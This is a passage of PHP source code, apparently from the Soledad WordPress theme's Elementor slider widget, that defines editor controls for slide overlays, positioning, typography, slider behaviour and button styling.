				'separator' => 'before',
				'condition' => [ 'background_type' => 'image' ],
			)
		);

		$repeater->add_control(
			'background_overlay_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => 'rgba(0,0,0,0.5)',
				'condition' => [ 'background_overlay' => 'yes' ],
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-inner .penci-ctslider-bg-overlay' => 'background-color: {{VALUE}}'
				)
			)
		);
		$repeater->add_control(
			'background_overlay_blend_mode', array(
				'label'     => __( 'Blend Mode', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					''            => __( 'Normal', 'soledad' ),
					'multiply'    => 'Multiply',
					'screen'      => 'Screen',
					'overlay'     => 'Overlay',
					'darken'      => 'Darken',
					'lighten'     => 'Lighten',
					'color-dodge' => 'Color Dodge',
					'color-burn'  => 'Color Burn',
					'hue'         => 'Hue',
					'saturation'  => 'Saturation',
					'color'       => 'Color',
					'exclusion'   => 'Exclusion',
					'luminosity'  => 'Luminosity',
				),
				'condition' => [ 'background_overlay' => 'yes' ],
				'selectors' => array( '{{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-inner .penci-ctslider-bg-overlay' => 'mix-blend-mode: {{VALUE}}' ),
			)
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab( 'style', array( 'label' => __( 'Style', 'soledad' ) ) );

		$repeater->add_control(
			'custom_style', array(
				'label'       => __( 'Custom', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'description' => __( 'Set custom style that will only affect this specific slide.', 'soledad' ),
			)
		);

		$repeater->add_control(
			'horizontal_position', array(
				'label'                => __( 'Horizontal Position', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'options'              => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-h-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-h-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-h-align-right',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-inner .penci-ctslider-content' => '{{VALUE}}',
				),
				'selectors_dictionary' => array(
					'left'   => 'margin-right: auto',
					'center' => 'margin: 0 auto',
					'right'  => 'margin-left: auto',
				),
				'conditions'           => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					),
				),
			)
		);

		$repeater->add_control(
			'vertical_position',
			array(
				'label'                => __( 'Vertical Position', 'soledad' ),
				'type'                 => Controls_Manager::CHOOSE,
				'label_block'          => false,
				'options'              => array(
					'top'    => array(
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					),
					'middle' => array(
						'title' => __( 'Middle', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					),
					'bottom' => array(
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-inner' => 'align-items: {{VALUE}}',
				),
				'selectors_dictionary' => array(
					'top'    => 'flex-start',
					'middle' => 'center',
					'bottom' => 'flex-end',
				),
				'conditions'           => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					)
				),
			)
		);

		$repeater->add_control(
			'text_align', array(
				'label'       => __( 'Text Align', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'   => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-ctslide-inner' => 'text-align: {{VALUE}}'
				),
				'conditions'  => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					)
				),
			)
		);

		$repeater->add_control(
			'content_color', array(
				'label'      => __( 'Content Color', 'soledad' ),
				'type'       => Controls_Manager::COLOR,
				'selectors'  => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .pencislider-title'                     => 'color: {{VALUE}}',
					'{{WRAPPER}} {{CURRENT_ITEM}} .pencislider-caption'                   => 'color: {{VALUE}}',
					'{{WRAPPER}} {{CURRENT_ITEM}} .penci-slider_btnwrap .pencislider-btn' => 'color: {{VALUE}}; border-color: {{VALUE}}',
				),
				'conditions' => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					)
				)
			)
		);

		$repeater->add_control(
			'bg_item_overlay', array(
				'label'      => __( 'Enable Overlay Background Color', 'soledad' ),
				'type'       => Controls_Manager::SELECT,
				'default'    => '',
				'options'    => array(
					''    => 'Default',
					'yes' => 'Yes',
					'no'  => 'No',
				),
				'separator'  => 'before',
				'conditions' => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					)
				)
			)
		);
		$repeater->add_control(
			'bgoverlay_opacity', array(
				'label'      => __( 'Overlay Background Opacity', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'range'      => array( 'px' => array( 'max' => 1, 'step' => 0.01 ) ),
				'selectors'  => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .pencislider-title-overlay .pslider-bgoverlay-inner:before'   => 'opacity: {{SIZE}};',
					'{{WRAPPER}} {{CURRENT_ITEM}} .pencislider-caption-overlay .pslider-bgoverlay-inner:before' => 'opacity: {{SIZE}};',

				),
				'conditions' => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					)
				)
			)
		);
		$repeater->add_control(
			'bgoverlay_color', array(
				'label'      => __( 'Overlay Background Color', 'soledad' ),
				'type'       => Controls_Manager::COLOR,
				'selectors'  => array(
					'body:not(.pcdm-enable) {{WRAPPER}} {{CURRENT_ITEM}} .pencislider-title-overlay .pslider-bgoverlay-inner:before'   => 'background-color: {{VALUE}}',
					'body:not(.pcdm-enable) {{WRAPPER}} {{CURRENT_ITEM}} .pencislider-caption-overlay .pslider-bgoverlay-inner:before' => 'background-color: {{VALUE}}',
				),
				'default'    => '',
				'conditions' => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					)
				)
			)
		);
		$repeater->add_responsive_control(
			'bgoverlay_padding', array(
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px' ),
				'selectors'  => array(
					'{{WRAPPER}} {{CURRENT_ITEM}} .pencislider-title-overlay .pslider-bgoverlay-inner'   => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
					'{{WRAPPER}} {{CURRENT_ITEM}} .pencislider-caption-overlay .pslider-bgoverlay-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
				'conditions' => array(
					'terms' => array(
						array(
							'name'  => 'custom_style',
							'value' => 'yes',
						)
					)
				)
			)
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control(
			'penci_slides', array(
				'label'       => __( 'Slides', 'soledad' ),
				'type'        => Controls_Manager::REPEATER,
				'show_label'  => true,
				'fields'      => $repeater->get_controls(),
				'default'     => array(
					array(
						'heading'          => __( 'Slide 1 Heading', 'soledad' ),
						'description'      => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet consectetur adipiscing elit dolor', 'soledad' ),
						'button_text'      => __( 'Click Here', 'soledad' ),
						'button_text2'     => __( 'Click Here', 'soledad' ),
						'background_color' => '#833ca3',
					),
					array(
						'heading'          => __( 'Slide 2 Heading', 'soledad' ),
						'description'      => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet consectetur adipiscing elit dolor', 'soledad' ),
						'button_text'      => __( 'Click Here', 'soledad' ),
						'button_text2'     => __( 'Click Here', 'soledad' ),
						'background_color' => '#4054b2',
					),
					array(
						'heading'          => __( 'Slide 3 Heading', 'soledad' ),
						'description'      => __( 'Click edit button to change this text. Lorem ipsum dolor sit amet consectetur adipiscing elit dolor', 'soledad' ),
						'button_text'      => __( 'Click Here', 'soledad' ),
						'button_text2'     => __( 'Click Here', 'soledad' ),
						'background_color' => '#1abc9c',
					)
				),
				'title_field' => '{{{ heading }}}',
			)
		);

		$this->add_control(
			'use_parallax', array(
				'label'     => __( 'Enable Parallax Effect', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',

			)
		);

		$this->add_control(
			'fullscreen', array(
				'label'     => __( 'Enable Full Screen Slider', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => '',
				'separator' => 'before',
				'selectors' => [
					'{{WRAPPER}} .penci-custom-slides' => 'width: 100%;height: 100vh',
					'{{WRAPPER}} .penci-ctslide-wrap'  => 'height: 100vh;'
				]
			)
		);

		$this->add_control(
			'use_ratio', array(
				'label'     => __( 'Use Ratio Height/Width', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before',
				'condition' => [ 'fullscreen!' => 'yes' ]
			)
		);
		$this->add_responsive_control(
			'slides_img_ratio', array(
				'label'      => __( 'Ratio Height/Width', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'default'    => array( 'size' => 0.5 ),
				'range'      => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-ctslide-wrap'        => 'height: auto !important;',
					'{{WRAPPER}} .penci-ctslide-wrap:before' => 'content:"";padding-top:calc( {{SIZE}} * 100% );',
				),
				'conditions' => array(
					'relation' => 'AND',
					'terms'    => [
						[
							'name'     => 'fullscreen',
							'operator' => '!=',
							'value'    => 'yes'
						],
						[
							'name'     => 'use_ratio',
							'operator' => '=',
							'value'    => 'yes'
						],
					]
				)
			)
		);

		$this->add_responsive_control(
			'slides_height', array(
				'label'      => __( 'Height', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'range'      => array(
					'px' => array( 'min' => 100, 'max' => 1500 ),
				),
				'default'    => array( 'size' => 400 ),
				'size_units' => array( 'px' ),
				'selectors'  => array( '{{WRAPPER}} .penci-ctslide-wrap' => 'height: {{SIZE}}{{UNIT}};' ),
				'conditions' => array(
					'relation' => 'AND',
					'terms'    => [
						[
							'name'     => 'fullscreen',
							'operator' => '!=',
							'value'    => 'yes'
						],
						[
							'name'     => 'use_ratio',
							'operator' => '!=',
							'value'    => 'yes'
						],
					]
				)
			)
		);

		$this->add_responsive_control(
			'slides_img_ratio_f', array(
				'label'     => __( 'Ratio Height/Width on Mobile', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'devices'   => [ 'mobile' ],
				'default'   => array( 'size' => 0.5 ),
				'range'     => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors' => array(
					'{{WRAPPER}} .enable-fullscreen .penci-ctslide-wrap:before'                                              => 'content:"";padding-top:calc( {{SIZE}} * 100% );',
					'{{WRAPPER}} .penci-custom-slides.enable-fullscreen, {{WRAPPER}} .enable-fullscreen .penci-ctslide-wrap' => 'height: auto !important;width: 100%',
				),
				'condition' => [ 'fullscreen' => 'yes' ]
			)
		);

		$this->add_control(
			'btn_2lines', array(
				'label'       => __( 'Second button in a new line on mobile?', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'description' => __( 'Use in case you\'re using 2 buttons and this option helps you can show 2 buttons on mobile in 2 separate rows in case your buttons have long text', 'soledad' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_slider_options',
			array(
				'label' => __( 'Slider Options', 'soledad' ),
				'type'  => Controls_Manager::SECTION,
			)
		);

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control( 'single_slider_effect', array(
			'label'   => __( 'General Slider Effect', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => get_theme_mod( 'penci_single_slider_effect', 'creative' ),
			'options' => array(
				'slide'     => 'Slide',
				'fade'      => 'Fade',
				'coverflow' => 'Coverflow',
				'flip'      => 'Flip',
				'cards'     => 'Cards',
				'creative'  => 'Creative',
			),
		) );

		$this->add_control(
			'autoplay', array(
				'label'   => __( 'Autoplay', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			)
		);
		$this->add_control(
			'loop', array(
				'label'     => __( 'Slider Loop', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'condition' => [ 'carousel_slider_effect' => 'default' ],
			)
		);
		$this->add_control(
			'auto_time', array(
				'label'   => __( 'Slider Auto Time (at x seconds)', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 4000,
			)
		);
		$this->add_control(
			'speed', array(
				'label'       => __( 'Slider Speed (at x seconds)', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 800,
				'render_type' => 'template',
				'selectors'   => [ '{{WRAPPER}} .penci-owl-carousel' => '--pcfs-delay:calc({{VALUE}}s / 1000 - 0.1s)' ]
			)
		);
		$this->add_control(
			'shownav', array(
				'label'   => __( 'Show next/prev buttons', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			)
		);
		$this->add_control(
			'showdots', array(
				'label' => __( 'Show dots navigation', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->add_control(
			'showdots_type',
			array(
				'label'     => __( 'Dots Navigation Types', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'dots',
				'condition' => [ 'showdots' => 'yes' ],
				'options'   => array(
					'dots'        => __( 'Dots', 'soledad' ),
					'number'      => __( 'Numbers', 'soledad' ),
					'number line' => __( 'Lines', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'transition',
			array(
				'label'   => __( 'Transition', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'slide',
				'options' => array(
					'slide' => __( 'Slide', 'soledad' ),
					'fade'  => __( 'Fade', 'soledad' ),
				),
			)
		);

		$this->add_control(
			'content_animation',
			array(
				'label'   => __( 'Content Animation', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'fadeInUp',
				'options' => array(
					''            => __( 'None', 'soledad' ),
					'fadeInUp'    => 'Fade In Up',
					'fadeInDown'  => 'Fade In Down',
					'fadeInLeft'  => 'Fade In Left',
					'fadeInRight' => 'Fade In Right',
				),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_slides', array(
				'label' => __( 'Slides', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_responsive_control(
			'content_max_width', array(
				'label'          => __( 'Content Width', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'range'          => array(
					'px' => array( 'min' => 0, 'max' => 1000 ),
					'%'  => array( 'min' => 0, 'max' => 100 )
				),
				'size_units'     => array( '%', 'px' ),
				'default'        => array( 'size' => '66', 'unit' => '%' ),
				'tablet_default' => array( 'unit' => '%' ),
				'mobile_default' => array( 'unit' => '%' ),
				'selectors'      => array( '{{WRAPPER}} .penci-ctslider-content' => 'max-width: {{SIZE}}{{UNIT}};' ),
			)
		);

		$this->add_responsive_control(
			'slides_padding', array(
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em', '%' ),
				'selectors'  => array( '{{WRAPPER}} .penci-ctslide-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
			)
		);

		$this->add_control(
			'slides_horizontal_position', array(
				'label'        => __( 'Horizontal Position', 'soledad' ),
				'type'         => Controls_Manager::CHOOSE,
				'label_block'  => false,
				'default'      => 'center',
				'options'      => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-h-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-h-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-h-align-right',
					),
				),
				'prefix_class' => 'penci-h-poswrap-',
			)
		);

		$this->add_control(
			'slides_vertical_position', array(
				'label'        => __( 'Vertical Position', 'soledad' ),
				'type'         => Controls_Manager::CHOOSE,
				'label_block'  => false,
				'default'      => 'middle',
				'options'      => array(
					'top'    => array(
						'title' => __( 'Top', 'soledad' ),
						'icon'  => 'eicon-v-align-top',
					),
					'middle' => array(
						'title' => __( 'Middle', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					),
					'bottom' => array(
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					),
				),
				'prefix_class' => 'penci-v-poswrap-',
			)
		);

		$this->add_control(
			'slides_text_align', array(
				'label'       => __( 'Text Align', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'default'     => 'center',
				'selectors'   => array(
					'{{WRAPPER}} .penci-ctslide-inner' => 'text-align: {{VALUE}}'
				)
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_title', array(
				'label' => __( 'Title', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'heading_spacing', array(
				'label'     => __( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pencislider-title' => 'margin-bottom: {{SIZE}}{{UNIT}}'
				)
			)
		);

		$this->add_control(
			'heading_color', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pencislider-title' => 'color: {{VALUE}}' )
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'heading_typography',
				'selector' => '{{WRAPPER}} .pencislider-title',
			)
		);

		$this->add_control(
			'heading_overlay', array(
				'label'     => __( 'Enable Overlay Background Color', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before'
			)
		);
		$this->add_control(
			'heading_bgoverlay_opacity', array(
				'label'     => __( 'Overlay Background Opacity', 'elementor' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => array( 'size' => .4 ),
				'range'     => array( 'px' => array( 'max' => 1, 'step' => 0.01 ) ),
				'selectors' => array( '{{WRAPPER}} .pencislider-title-overlay .pslider-bgoverlay-inner:before' => 'opacity: {{SIZE}};' ),
				'condition' => array( 'heading_overlay' => 'yes' )
			)
		);
		$this->add_control(
			'heading_bgoverlay_color', array(
				'label'     => __( 'Overlay Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .pencislider-title-overlay .pslider-bgoverlay-inner:before' => 'background-color: {{VALUE}}' ),
				'default'   => '#000000',
				'condition' => array( 'heading_overlay' => 'yes' )
			)
		);
		$this->add_responsive_control(
			'heading_bgoverlay_padding', array(
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px' ),
				'condition'  => array( 'heading_overlay' => 'yes' ),
				'selectors'  => array( '{{WRAPPER}} .pencislider-title-overlay .pslider-bgoverlay-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' )
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_description', array(
				'label' => __( 'Description', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'description_spacing', array(
				'label'     => __( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pencislider-caption' => 'margin-bottom: {{SIZE}}{{UNIT}}'
				)
			)
		);

		$this->add_control(
			'description_color', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pencislider-caption' => 'color: {{VALUE}}' )
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'description_typography',
				'selector' => '{{WRAPPER}} .pencislider-caption',
			)
		);
		$this->add_control(
			'description_overlay', array(
				'label'     => __( 'Enable Overlay Background Color', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before'
			)
		);
		$this->add_control(
			'desc_bgoverlay_opacity', array(
				'label'     => __( 'Overlay Background Opacity', 'elementor' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => array( 'size' => .4 ),
				'range'     => array( 'px' => array( 'max' => 1, 'step' => 0.01 ) ),
				'selectors' => array( '{{WRAPPER}} .pencislider-caption .pslider-bgoverlay-inner:before' => 'opacity: {{SIZE}};' ),
				'condition' => array( 'description_overlay' => 'yes' )
			)
		);
		$this->add_control(
			'desc_bgoverlay_color', array(
				'label'     => __( 'Overlay Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( 'body:not(.pcdm-enable) {{WRAPPER}} .pencislider-caption .pslider-bgoverlay-inner:before' => 'background-color: {{VALUE}}' ),
				'default'   => '#000000',
				'condition' => array( 'description_overlay' => 'yes' )
			)
		);
		$this->add_responsive_control(
			'desc_bgoverlay_padding', array(
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px' ),
				'condition'  => array( 'description_overlay' => 'yes' ),
				'selectors'  => array( '{{WRAPPER}} .pencislider-caption-overlay .pslider-bgoverlay-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' )
			)
		);


		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_button', array(
				'label' => __( 'Button 1', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'button_typography',
				'selector' => '{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1',
			)
		);
		$this->add_control(
			'button_width', array(
				'label'     => __( 'Button Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 400, ), ),
				'selectors' => array( '{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1' => 'width: {{SIZE}}{{UNIT}};', ),
			)
		);
		$this->add_control(
			'button_height', array(
				'label'     => __( 'Button Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ), ),
				'selectors' => array( '{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1' => 'height: {{SIZE}}{{UNIT}};', ),
			)
		);
		$this->add_control(
			'button_border_width',
			array(
				'label'     => __( 'Border Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 20,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1' => 'border-width: {{SIZE}}{{UNIT}};',
				),
			)
		);
		$this->add_control(
			'button_border_radius',
			array(
				'label'     => __( 'Border Radius', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 100,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1' => 'border-radius: {{SIZE}}{{UNIT}};',
				),
				'separator' => 'after',
			)
		);

		$this->start_controls_tabs( 'button_tabs' );

		$this->start_controls_tab( 'normal', array( 'label' => __( 'Normal', 'soledad' ) ) );

		$this->add_control(
			'button_text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button_background_color',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1' => 'background-color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button_border_color',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1' => 'border-color: {{VALUE}};',
				),
			)
		);

		$this->end_controls_tab();

		$this->start_controls_tab( 'hover', array( 'label' => __( 'Hover', 'soledad' ) ) );

		$this->add_control(
			'button_hover_text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1:hover' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button_hover_background_color',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-1:hover' => 'background-color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button_hover_border_color',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}}  .penci-slider_btnwrap .pencislider-btn-1:hover' => 'border-color: {{VALUE}};',
				),
			)
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		// Button 2
		$this->start_controls_section(
			'section2_style_button', array(
				'label' => __( 'Button 2', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'button2_typography',
				'selector' => '{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-2',
			)
		);
		$this->add_control(
			'button2_width', array(
				'label'     => __( 'Button Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 400, ), ),
				'selectors' => array( '{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-2' => 'width: {{SIZE}}{{UNIT}};', ),
			)
		);
		$this->add_control(
			'button2_height', array(
				'label'     => __( 'Button Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ), ),
				'selectors' => array( '{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-2' => 'height: {{SIZE}}{{UNIT}};line-height: {{SIZE}}{{UNIT}};', ),
			)
		);
		$this->add_control(
			'button2_border_width',
			array(
				'label'     => __( 'Border Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 20,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-2' => 'border-width: {{SIZE}}{{UNIT}};',
				),
			)
		);
		$this->add_control(
			'button2_border_radius',
			array(
				'label'     => __( 'Border Radius', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 100,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .penci-slider_btnwrap .pencislider-btn-2' => 'border-radius: {{SIZE}}{{UNIT}};',
				),
				'separator' => 'after',
			)
		);
		$this->add_control(
			'button2_heading',
			array(
				'label'     => __( 'Button 2', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->start_controls_tabs( 'button2_tabs' );

		$this->start_controls_tab( 'normal2', array( 'label' => __( 'Normal', 'soledad' ) ) );

		$this->add_control(
			'button2_text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}}  .penci-slider_btnwrap .pencislider-btn-2' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button2_background_color',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}}  .penci-slider_btnwrap .pencislider-btn-2' => 'background-color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'button2_border_color',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
